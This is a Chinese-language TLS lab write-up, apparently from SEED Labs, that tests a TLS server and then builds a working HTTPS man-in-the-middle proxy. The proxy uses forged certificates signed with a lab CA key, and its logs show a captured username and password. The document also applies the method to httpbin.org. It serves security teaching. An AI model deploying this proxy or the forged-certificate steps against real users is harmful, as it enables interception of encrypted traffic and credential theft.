sudo sh -c 'echo "10.9.0.43 www.vaultattic2026.cn" >> /etc/hosts'
sudo sh -c 'echo "10.9.0.43 test.vaultattic2026.cn" >> /etc/hosts'
sudo sh -c 'echo "10.9.0.43 abc.bank32.com" >> /etc/hosts'
[06/16/26]seed@VM:~/.../volumes$ sudo sh -c 'echo "10.9.0.43 www.vaultattic2026.cn" >> /etc/hosts'
[06/16/26]seed@VM:~/.../volumes$ sudo sh -c 'echo "10.9.0.43 test.vaultattic2026.cn" >> /etc/hosts'
[06/16/26]seed@VM:~/.../volumes$ sudo sh -c 'echo "10.9.0.43 abc.bank32.com" >> /etc/hosts'
[06/16/26]seed@VM:~/.../volumes$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       VM

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

# For DNS Rebinding Lab
192.168.60.80   www.seedIoT32.com

# For SQL Injection Lab
10.9.0.5        www.SeedLabSQLInjection.com

# For XSS Lab
10.9.0.5        www.xsslabelgg.com
10.9.0.5        www.example32a.com
10.9.0.5        www.example32b.com
10.9.0.5        www.example32c.com
10.9.0.5        www.example60.com
10.9.0.5        www.example70.com

# For CSRF Lab
10.9.0.5        www.csrflabelgg.com
10.9.0.5        www.csrflab-defense.com
10.9.0.105      www.csrflab-attacker.com

# For Shellshock Lab
10.9.0.80       www.seedlab-shellshock.com

# TLS Lab
10.9.0.43 vaultattic2026.cn
10.9.0.43 www.vaultattic2026.cn
10.9.0.43 test.vaultattic2026.cn
10.9.0.43 abc.bank32.com
[06/16/26]seed@VM:~/.../volumes$

返回服务器容器,重新运行 server.py 脚本。

root@75c146f25aac:/volumes# ./server.py
TLS 服务器已启动,监听 443 端口...

运行之前的测试脚本 handshake.py 进行测试:

[06/16/26]seed@VM:~/.../volumes$ ./handshake.py vaultattic2026.cn
目标服务器: vaultattic2026.cn
目标端口: 443
CA 证书目录: ./client-certs

正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...

正在进行 TLS 握手...
TLS 握手完成。

使用的 TLS 协议版本:
TLSv1.3

客户端和服务器使用的加密套件:
('TLS_AES_256_GCM_SHA384', 'TLSv1.3', 256)

服务器证书信息:
{'issuer': ((('countryName', 'US'),),
            (('stateOrProvinceName', 'NewYork'),),
            (('localityName', 'Syracuse'),),
            (('organizationName', 'SEEDLab'),),
            (('commonName', 'Vaultattic Test CA'),)),
 'notAfter': 'Jun 13 17:02:39 2036 GMT',
 'notBefore': 'Jun 16 17:02:39 2026 GMT',
 'serialNumber': '4B7FA0768F38E6D5E7A1D0A7823767726DAB72EA',
 'subject': ((('countryName', 'US'),),
             (('stateOrProvinceName', 'NewYork'),),
             (('localityName', 'Syracuse'),),
             (('organizationName', 'SEEDLab'),),
             (('commonName', 'vaultattic2026.cn'),)),
 'subjectAltName': (('DNS', 'vaultattic2026.cn'),
                    ('DNS', 'www.vaultattic2026.cn'),
                    ('DNS', 'test.vaultattic2026.cn'),
                    ('DNS', '*.bank32.com')),
 'version': 3}

准备发送 HTTP 请求,按回车继续...

发送的 HTTP 请求为:
GET / HTTP/1.0
Host: vaultattic2026.cn


HTTP 请求已发送,正在接收服务器响应...

[b'HTTP/1.1 200 OK',
 b'Content-Type: text/html',
 b'',
 b'<html>\n<body>\n<h1>Hello, world!</h1>\n<p>This is vaultattic2026.cn TLS se'
 b'rver.</p>\n</body>\n</html>\n']

服务器响应接收完毕。
连接已关闭。
[06/16/26]seed@VM:~/.../volumes$ ./handshake.py www.vaultattic2026.cn
目标服务器: www.vaultattic2026.cn
目标端口: 443
CA 证书目录: ./client-certs

正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...

正在进行 TLS 握手...
TLS 握手完成。

使用的 TLS 协议版本:
TLSv1.3

客户端和服务器使用的加密套件:
('TLS_AES_256_GCM_SHA384', 'TLSv1.3', 256)

服务器证书信息:
{'issuer': ((('countryName', 'US'),),
            (('stateOrProvinceName', 'NewYork'),),
            (('localityName', 'Syracuse'),),
            (('organizationName', 'SEEDLab'),),
            (('commonName', 'Vaultattic Test CA'),)),
 'notAfter': 'Jun 13 17:02:39 2036 GMT',
 'notBefore': 'Jun 16 17:02:39 2026 GMT',
 'serialNumber': '4B7FA0768F38E6D5E7A1D0A7823767726DAB72EA',
 'subject': ((('countryName', 'US'),),
             (('stateOrProvinceName', 'NewYork'),),
             (('localityName', 'Syracuse'),),
             (('organizationName', 'SEEDLab'),),
             (('commonName', 'vaultattic2026.cn'),)),
 'subjectAltName': (('DNS', 'vaultattic2026.cn'),
                    ('DNS', 'www.vaultattic2026.cn'),
                    ('DNS', 'test.vaultattic2026.cn'),
                    ('DNS', '*.bank32.com')),
 'version': 3}

准备发送 HTTP 请求,按回车继续...

发送的 HTTP 请求为:
GET / HTTP/1.0
Host: www.vaultattic2026.cn


HTTP 请求已发送,正在接收服务器响应...

[b'HTTP/1.1 200 OK',
 b'Content-Type: text/html',
 b'',
 b'<html>\n<body>\n<h1>Hello, world!</h1>\n<p>This is vaultattic2026.cn TLS se'
 b'rver.</p>\n</body>\n</html>\n']

服务器响应接收完毕。
连接已关闭。
[06/16/26]seed@VM:~/.../volumes$ ./handshake.py test.vaultattic2026.cn
目标服务器: test.vaultattic2026.cn
目标端口: 443
CA 证书目录: ./client-certs

正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...

正在进行 TLS 握手...
TLS 握手完成。

使用的 TLS 协议版本:
TLSv1.3

客户端和服务器使用的加密套件:
('TLS_AES_256_GCM_SHA384', 'TLSv1.3', 256)

服务器证书信息:
{'issuer': ((('countryName', 'US'),),
            (('stateOrProvinceName', 'NewYork'),),
            (('localityName', 'Syracuse'),),
            (('organizationName', 'SEEDLab'),),
            (('commonName', 'Vaultattic Test CA'),)),
 'notAfter': 'Jun 13 17:02:39 2036 GMT',
 'notBefore': 'Jun 16 17:02:39 2026 GMT',
 'serialNumber': '4B7FA0768F38E6D5E7A1D0A7823767726DAB72EA',
 'subject': ((('countryName', 'US'),),
             (('stateOrProvinceName', 'NewYork'),),
             (('localityName', 'Syracuse'),),
             (('organizationName', 'SEEDLab'),),
             (('commonName', 'vaultattic2026.cn'),)),
 'subjectAltName': (('DNS', 'vaultattic2026.cn'),
                    ('DNS', 'www.vaultattic2026.cn'),
                    ('DNS', 'test.vaultattic2026.cn'),
                    ('DNS', '*.bank32.com')),
 'version': 3}

准备发送 HTTP 请求,按回车继续...

发送的 HTTP 请求为:
GET / HTTP/1.0
Host: test.vaultattic2026.cn


HTTP 请求已发送,正在接收服务器响应...

[b'HTTP/1.1 200 OK',
 b'Content-Type: text/html',
 b'',
 b'<html>\n<body>\n<h1>Hello, world!</h1>\n<p>This is vaultattic2026.cn TLS se'
 b'rver.</p>\n</body>\n</html>\n']

服务器响应接收完毕。
连接已关闭。
[06/16/26]seed@VM:~/.../volumes$ ./handshake.py abc.bank32.com
目标服务器: abc.bank32.com
目标端口: 443
CA 证书目录: ./client-certs

正在建立 TCP 连接...
TCP 连接已建立,按回车开始 TLS 握手...

正在进行 TLS 握手...
TLS 握手完成。

使用的 TLS 协议版本:
TLSv1.3

客户端和服务器使用的加密套件:
('TLS_AES_256_GCM_SHA384', 'TLSv1.3', 256)

服务器证书信息:
{'issuer': ((('countryName', 'US'),),
            (('stateOrProvinceName', 'NewYork'),),
            (('localityName', 'Syracuse'),),
            (('organizationName', 'SEEDLab'),),
            (('commonName', 'Vaultattic Test CA'),)),
 'notAfter': 'Jun 13 17:02:39 2036 GMT',
 'notBefore': 'Jun 16 17:02:39 2026 GMT',
 'serialNumber': '4B7FA0768F38E6D5E7A1D0A7823767726DAB72EA',
 'subject': ((('countryName', 'US'),),
             (('stateOrProvinceName', 'NewYork'),),
             (('localityName', 'Syracuse'),),
             (('organizationName', 'SEEDLab'),),
             (('commonName', 'vaultattic2026.cn'),)),
 'subjectAltName': (('DNS', 'vaultattic2026.cn'),
                    ('DNS', 'www.vaultattic2026.cn'),
                    ('DNS', 'test.vaultattic2026.cn'),
                    ('DNS', '*.bank32.com')),
 'version': 3}

准备发送 HTTP 请求,按回车继续...

发送的 HTTP 请求为:
GET / HTTP/1.0
Host: abc.bank32.com


HTTP 请求已发送,正在接收服务器响应...

[b'HTTP/1.1 200 OK',
 b'Content-Type: text/html',
 b'',
 b'<html>\n<body>\n<h1>Hello, world!</h1>\n<p>This is vaultattic2026.cn TLS se'
 b'rver.</p>\n</body>\n</html>\n']

服务器响应接收完毕。
连接已关闭。
[06/16/26]seed@VM:~/.../volumes$

全部成功。

5 任务 3: 一个简单的 HTTPS 代理

实验原理

正常 TLS 通信:

sequenceDiagram participant B as 浏览器 participant S as 服务器 B->>S: ClientHello S->>B: ServerHello + 证书 Note over B: 验证证书(证书链 + 主机名) B->>S: 密钥交换 Note over B,S: TLS 加密通道建立 B->>S: 加密 HTTP 请求 S->>B: 加密 HTTP 响应

MITM 攻击下的 TLS 通信:

sequenceDiagram participant B as 浏览器 participant P as MITM 代理 participant S as 真实服务器 B->>P: ClientHello P->>S: ClientHello S->>P: ServerHello + 真实证书 P->>B: ServerHello + 伪造证书(被盗CA签发) Note over B: 验证伪造证书(通过,因为信任了恶意CA) B->>P: 加密 HTTP 请求 Note over P: 解密请求,窃取密码/Cookie P->>S: 加密 HTTP 请求 S->>P: 加密 HTTP 响应 P->>B: 加密 HTTP 响应

代理程序 mHTTPSproxy.py 的核心逻辑是将 TLS 客户端TLS 服务器集成在一起:

graph LR B["浏览器"] -->|"TLS 连接<br>伪造证书"| P["mHTTPSproxy"] P -->|"TLS 连接<br>真实证书"| S["真实服务器<br>vaultattic.cn"]

下面实验使用前面创建的 vaultattic2026.cn 作为自己的服务器,httpbin.org 作为真实网站。

环境准备

建立伪造证书目录:

mkdir proxy-certs
[06/16/26]seed@VM:~/.../volumes$ mkdir proxy-certs
[06/16/26]seed@VM:~/.../volumes$

vaultattic.cn 伪造证书,创建配置文件 fake_vaultattic.cnf

[06/16/26]seed@VM:~/.../volumes$ vim fake_vaultattic.cnf
[req]
prompt = no
distinguished_name = req_distinguished_name
req_extensions = req_ext

[req_distinguished_name]
C = US
ST = NewYork
L = Syracuse
O = Fake
CN = vaultattic2026.cn

[req_ext]
subjectAltName = @alt_names

[alt_names]
DNS.1 = vaultattic2026.cn
DNS.2 = www.vaultattic2026.cn

生成证书:

openssl req -newkey rsa:2048 \
    -config fake_vaultattic.cnf \
    -batch -sha256 \
    -keyout proxy-certs/vaultattic.key \
    -out proxy-certs/vaultattic.csr \
    -nodes

openssl x509 -req \
    -in proxy-certs/vaultattic.csr \
    -CA client-certs/ca.crt \
    -CAkey client-certs/ca.key \
    -CAcreateserial \
    -out proxy-certs/vaultattic.crt \
    -days 3650 -sha256 \
    -extensions req_ext \
    -extfile fake_vaultattic.cnf
[06/16/26]seed@VM:~/.../volumes$ openssl req -newkey rsa:2048 \
>     -config fake_vaultattic.cnf \
>     -batch -sha256 \
>     -keyout proxy-certs/vaultattic.key \
>     -out proxy-certs/vaultattic.csr \
>     -nodes

openssl x509 -req \
    -in proxy-certs/vaultattic.csr \
    -CA client-certs/ca.crt \
    -CAkey client-certs/ca.key \
    -CAcreateserial \
    -out proxy-certs/vaultattic.crt \
    -days 3650 -sha256 \
    -extensions req_ext \
    -extfile fake_vaultattic.cnfGenerating a RSA private key
............................................................+++++
.................................+++++
writing new private key to 'proxy-certs/vaultattic.key'
-----
[06/16/26]seed@VM:~/.../volumes$
[06/16/26]seed@VM:~/.../volumes$ openssl x509 -req \
>     -in proxy-certs/vaultattic.csr \
>     -CA client-certs/ca.crt \
>     -CAkey client-certs/ca.key \
>     -CAcreateserial \
>     -out proxy-certs/vaultattic.crt \
>     -days 3650 -sha256 \
>     -extensions req_ext \
>     -extfile fake_vaultattic.cnf
Signature ok
subject=C = US, ST = NewYork, L = Syracuse, O = Fake, CN = vaultattic2026.cn
Getting CA Private Key
[06/16/26]seed@VM:~/.../volumes$

httpbin.org 伪造证书,创建 fake_httpbin.cnf

[06/16/26]seed@VM:~/.../volumes$ vim fake_httpbin.cnf
[req]
prompt = no
distinguished_name = req_distinguished_name
req_extensions = req_ext

[req_distinguished_name]
C = US
ST = NewYork
L = Syracuse
O = Fake
CN = httpbin.org

[req_ext]
subjectAltName = @alt_names

[alt_names]
DNS.1 = httpbin.org

生成证书:

openssl req -newkey rsa:2048 \
    -config fake_httpbin.cnf \
    -batch -sha256 \
    -keyout proxy-certs/httpbin.key \
    -out proxy-certs/httpbin.csr \
    -nodes

openssl x509 -req \
    -in proxy-certs/httpbin.csr \
    -CA client-certs/ca.crt \
    -CAkey client-certs/ca.key \
    -CAcreateserial \
    -out proxy-certs/httpbin.crt \
    -days 3650 -sha256 \
    -extensions req_ext \
    -extfile fake_httpbin.cnf
[06/16/26]seed@VM:~/.../volumes$ openssl req -newkey rsa:2048 \
>     -config fake_httpbin.cnf \
>     -batch -sha256 \
>     -keyout proxy-certs/httpbin.key \
>     -out proxy-certs/httpbin.csr \
>     -nodes
openssl x509 -req \
    -in proxy-certs/httpbin.csr \
    -CA client-certs/ca.crt \
    -CAkey client-certs/ca.key \
Generating a RSA private key
    -CAcreateserial \
    -out proxy-certs/httpbin.crt \
    -days 3650 -sha256 \
    -extensions req_ext \
    -extfile fake_httpbin.cnf...............+++++
.................................................................+++++
writing new private key to 'proxy-certs/httpbin.key'
-----
[06/16/26]seed@VM:~/.../volumes$
[06/16/26]seed@VM:~/.../volumes$ openssl x509 -req \
>     -in proxy-certs/httpbin.csr \
>     -CA client-certs/ca.crt \
>     -CAkey client-certs/ca.key \
>     -CAcreateserial \
>     -out proxy-certs/httpbin.crt \
>     -days 3650 -sha256 \
>     -extensions req_ext \
>     -extfile fake_httpbin.cnf
Signature ok
subject=C = US, ST = NewYork, L = Syracuse, O = Fake, CN = httpbin.org
Getting CA Private Key
[06/16/26]seed@VM:~/.../volumes$

server.py 中加入登录表单,以便代理捕获密码:

[06/16/26]seed@VM:~/.../volumes$ vim server.py
#!/usr/bin/env python3
import socket, ssl

# 登录页面
html_form = """HTTP/1.1 200 OK\r
Content-Type: text/html\r
\r
<html>
<body>
<h1>vaultattic.cn Login</h1>
<form method="POST" action="/login">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
</body>
</html>
"""

# 登录成功页面
html_login_ok = """HTTP/1.1 200 OK\r
Content-Type: text/html\r
\r
<html>
<body>
<h1>Login Successful</h1>
</body>
</html>
"""

SERVER_CERT = './server-certs/server.crt'
SERVER_PRIVATE = './server-certs/server.key'

context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(SERVER_CERT, SERVER_PRIVATE)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
sock.bind(('0.0.0.0', 443))
sock.listen(5)
print("Real TLS server listening on 443...")

while True:
    newsock, fromaddr = sock.accept()
    try:
        ssock = context.wrap_socket(newsock, server_side=True)
        data = ssock.recv(2048)
        request = data.decode('utf-8', errors='ignore')
        print("[server] request:", request[:200])
        if 'POST /login' in request:
            resp = html_login_ok.encode()
        else:
            resp = html_form.encode()
        ssock.sendall(resp)
        ssock.shutdown(socket.SHUT_RDWR)
        ssock.close()
    except Exception as e:
        print("Error:", e)

server-10.9.0.43 容器中运行它:

[06/16/26]seed@VM:~/.../volumes$ docker exec -it server-10.9.0.43 /bin/bash
root@8d4f08b3039b:/# cd volumes/
root@8d4f08b3039b:/volumes# ./server.py
Real TLS server listening on 443...

编写 mHTTPSproxy.py 代理脚本:

[06/16/26]seed@VM:~/.../volumes$ vim mHTTPSproxy.py
#!/usr/bin/env python3
import socket, ssl, threading

PROXY_PORT = 443
FAKE_DIR = './proxy-certs'
REAL_CA = '/etc/ssl/certs'

# 根据 SNI 主机名查找伪造证书
def find_fake_cert(hostname):
    if hostname in ('vaultattic.cn', 'www.vaultattic.cn'):
        return FAKE_DIR + '/vaultattic.crt', FAKE_DIR + '/vaultattic.key'
    elif hostname == 'httpbin.org':
        return FAKE_DIR + '/httpbin.crt', FAKE_DIR + '/httpbin.key'
    return None, None

def handle(ssock_browser):
    try:
        req = ssock_browser.recv(4096)
    except:
        ssock_browser.close()
        return

    if not req:
        ssock_browser.close()
        return

    # 提取 Host 头
    req_text = req.decode('utf-8', errors='ignore')
    host = None
    for line in req_text.split('\r\n'):
        if line.lower().startswith('host:'):
            host = line.split(':', 1)[1].strip()
            break
    if not host:
        ssock_browser.close()
        return

    print(f"\n[*] Request to {host}")
    print("[!] Plaintext request (password if any):")
    print(req_text[:2000])

    # 连接真实服务器
    try:
        sock_server = socket.create_connection((host, 443), timeout=10)
    except Exception as e:
        print(f"[!] Cannot connect to real server {host}: {e}")
        ssock_browser.sendall(b"HTTP/1.1 502 Bad Gateway\r\n\r\n")
        ssock_browser.close()
        return

    # 作为客户端与真实服务器完成 TLS 握手
    try:
        client_ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        client_ctx.load_verify_locations(capath=REAL_CA)
        client_ctx.verify_mode = ssl.CERT_REQUIRED
        client_ctx.check_hostname = True
        ssock_server = client_ctx.wrap_socket(sock_server, server_hostname=host)
    except Exception as e:
        print(f"[!] Real server TLS failed: {e}")
        sock_server.close()
        ssock_browser.sendall(b"HTTP/1.1 502 Bad Gateway\r\n\r\n")
        ssock_browser.close()
        return

    # 转发请求
    try:
        ssock_server.sendall(req)
    except:
        ssock_server.close()
        ssock_browser.close()
        return

    # 从真实服务器接收响应并转发给浏览器
    try:
        while True:
            resp = ssock_server.recv(4096)
            if not resp:
                break
            ssock_browser.sendall(resp)
    except:
        pass
    finally:
        ssock_server.close()
        ssock_browser.close()
        print(f"[*] Finished {host}")

def main():
    # SNI 回调:根据 SNI 加载对应伪证书
    def sni_callback(sock, sni_name, old_ctx):
        if sni_name is None:
            return
        cert, key = find_fake_cert(sni_name)
        if cert:
            new_ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
            new_ctx.load_cert_chain(cert, key)
            sock.context = new_ctx
        else:
            print(f"[!] No fake cert for {sni_name}")

    # 创建默认 SSLContext(初始证书为 vaultattic.crt,用于未触发 SNI 时)
    server_ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    server_ctx.load_cert_chain(FAKE_DIR+'/vaultattic.crt', FAKE_DIR+'/vaultattic.key')
    server_ctx.set_servername_callback(sni_callback)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('0.0.0.0', PROXY_PORT))
    s.listen(10)
    print(f"[*] MITM proxy listening on {PROXY_PORT}...")

    while True:
        sock_browser, addr = s.accept()
        print(f"[*] New connection from {addr}")
        try:
            ssock_browser = server_ctx.wrap_socket(sock_browser, server_side=True)
            threading.Thread(target=handle, args=(ssock_browser,)).start()
        except Exception as e:
            print(f"[!] TLS handshake error: {e}")
            sock_browser.close()

if __name__ == '__main__':
    main()

添加执行权限:

[06/16/26]seed@VM:~/.../volumes$ chmod a+x mHTTPSproxy.py
[06/16/26]seed@VM:~/.../volumes$

mitm-proxy-10.9.0.143 容器中启动代理:

[06/16/26]seed@VM:~/.../volumes$ docker exec -it mitm-proxy-10.9.0.143 bash
root@f4502fcd9c87:/# cd volumes/
root@f4502fcd9c87:/volumes# ./mHTTPSproxy.py
[*] MITM proxy listening on 443...

VM 虚拟机修改域名解析(之前的删掉):

10.9.0.143 vaultattic2026.cn
10.9.0.143 www.vaultattic2026.cn
10.9.0.143 httpbin.org
[06/16/26]seed@VM:~/.../volumes$ sudo vim /etc/hosts

F4XleUzg-11.png

代理机添加解析:

docker exec -it mitm-proxy-10.9.0.143 bash -c "echo '10.9.0.43 vaultattic2026.cn' >> /etc/hosts"
docker exec -it mitm-proxy-10.9.0.143 bash -c "echo '10.9.0.43 www.vaultattic2026.cn' >> /etc/hosts"
[06/16/26]seed@VM:~/.../volumes$ docker exec -it mitm-proxy-10.9.0.143 bash -c "echo '10.9.0.43 vaultattic2026.cn' >> /etc/hosts"
[06/16/26]seed@VM:~/.../volumes$ docker exec -it mitm-proxy-10.9.0.143 bash -c "echo '10.9.0.43 www.vaultattic2026.cn' >> /etc/hosts"

执行攻击并观察

窃取 vaultattic.cn 登录密码

  1. 在 VM 的 Firefox 中打开 https://vaultattic2026.cn
  2. 会出现登录页面,输入用户名 testuser,密码 testpass,点击 Login。

F4XleUzg-12.png

  1. 返回代理终端

    root@67a92bba8f7e:/volumes# ./mHTTPSproxy.py
    [*] MITM proxy listening on 443...
    [*] New connection from ('10.9.0.1', 49700)
    
    [*] Request to vaultattic2026.cn
    [!] Plaintext request (password if any):
    GET / HTTP/1.1
    Host: vaultattic2026.cn
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    Cache-Control: max-age=0
    
    
    [*] Finished vaultattic2026.cn
    [*] New connection from ('10.9.0.1', 49704)
    
    [*] Request to vaultattic2026.cn
    [!] Plaintext request (password if any):
    POST /login HTTP/1.1
    Host: vaultattic2026.cn
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 35
    Origin: https://vaultattic2026.cn
    Connection: keep-alive
    Referer: https://vaultattic2026.cn/
    Upgrade-Insecure-Requests: 1
    
    username=testuser&password=testpass
    [*] Finished vaultattic2026.cn
    
  2. 发现输出 username=testuser&password=testpass,窃取成功。

攻击真实 HTTPS 网站 httpbin.org

1. 浏览器访问 `https://httpbin.org/post`(记得添加 `httpbin.org` 的证书)
  1. 代理终端会打印请求头,你可以看到浏览器原本加密的流量全部可见
  2. 浏览器正常收到响应,但受害者完全无感知

评论